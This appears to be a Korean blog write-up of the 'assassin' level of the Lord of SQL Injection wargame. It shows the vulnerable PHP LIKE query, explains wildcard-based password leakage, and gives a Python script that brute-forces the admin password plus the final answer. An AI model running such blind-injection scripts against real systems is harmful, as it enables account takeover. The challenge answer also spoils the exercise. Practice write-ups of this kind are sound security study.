728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");  // ' 사용 불가
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

like 연산자는 '%' 또는 '_'와 많이 쓰인다. '%'는 문자(열)를 의미. '_'는 문자 한 개 의미.

like 'a%' : a로 시작하는 문자열
like '_a': a로 끝나는 길이가 2인 문자열.

'%'를 이용하여 문제를 풀었다. ?pw=문자% 형태로 전달해보면 Hello admin은 나오지 않고 Hello guest만 나온다.

이는 admin과 guest의 비밀번호 첫 글자가 같으며 guest가 db 내에서 더 상단에 있다는 것을 의미한다.

두 번째 문자의 경우도 첫 번째 문자의 경우와 같았다.

두 번째 문자까진 Hello guest 출력 여부로 비밀번호를 알아낸다. 코드에서 admin 부분을 guest로 바꿔야한다.

그 결과 guest와 admin 모두 비밀번호 앞 두자리가 90임을 알 수 있다.

마침내 세 번째 문자에서 Hello admin이 나오는 것을 확인할 수 있었다.

import requests

url='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
cookie={'PHPSESSID':'자신의 세션 id'}
ch='0123456789abcdefghijklmnopqrstuvwxyz_'

def find_pw():
    pw=''
    while True:
        found=False
        
        for i in ch:
            r=requests.get(url+"?pw=90{}%25".format(pw+i),cookies=cookie)
            if 'Hello admin' in r.text:
                pw+=i
                found=True
                break

        if found is False:
            print(pw)
            break
find_pw()

답: ?pw=902efd10 또는 ?pw=902%

728x90

'Lord of SQL Injection' 카테고리의 다른 글

zombie_assassin  (0) 2022.12.23
succubus  (0) 2022.12.23
giant  (0) 2022.12.23
bugbear  (0) 2022.12.22
darkknight  (0) 2022.12.22

+ Recent posts